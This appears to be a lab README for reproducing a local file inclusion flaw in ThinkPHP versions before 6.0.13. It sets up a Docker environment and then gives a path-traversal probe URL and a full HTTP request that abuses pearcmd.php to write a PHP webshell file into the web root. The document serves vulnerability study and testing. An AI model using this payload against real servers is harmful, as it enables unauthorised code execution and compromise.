Aaron
63285f61aa
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58 lines
1.9 KiB
Markdown
58 lines
1.9 KiB
Markdown
# ThinkPHP Lang Local File Inclusion
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[中文版本(Chinese version)](README.zh-cn.md)
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ThinkPHP is an extremely widely used PHP development framework in China. In the version prior to 6.0.13, a local restricted file inclusion issue exists in `lang` parameter if the developer enable multiple language pack.
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Although this issue is only allowed to include ".php" file, the attacker is still able to use the "pearcmd.php" to write arbitrary file and execute code in the server.
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References:
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- <https://tttang.com/archive/1865/>
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- <https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp> (about the "pearcmd.php trick")
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## Vulnerability Environment
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Execute following command to start a server that is developed by ThinkPHP v6.0.12:
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```
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docker compose up -d
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```
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After the server is started, browse the `http://your-ip:8080` to see the default welcome page of ThinkPHP.
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## Exploit
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Firstly, because the multiple language feature is not enabled by default, you can try to include the `public/index.php` to determine whether the vulnerability exists:
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```
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http://localhost:8080/?lang=../../../../../public/index
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```
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The vulnerability exists if the server crashed and a 500 error response comes back.
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Then, try to write data through "/usr/local/lib/php/pearcmd.php":
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```
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GET /?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php HTTP/1.1
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Host: localhost:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en-US;q=0.9,en;q=0.8
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
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Connection: close
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Cache-Control: max-age=0
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```
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If the server response the output of pearcmd, which means the exploit is successful:
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As you can see, the `shell.php` is written in root directory of web:
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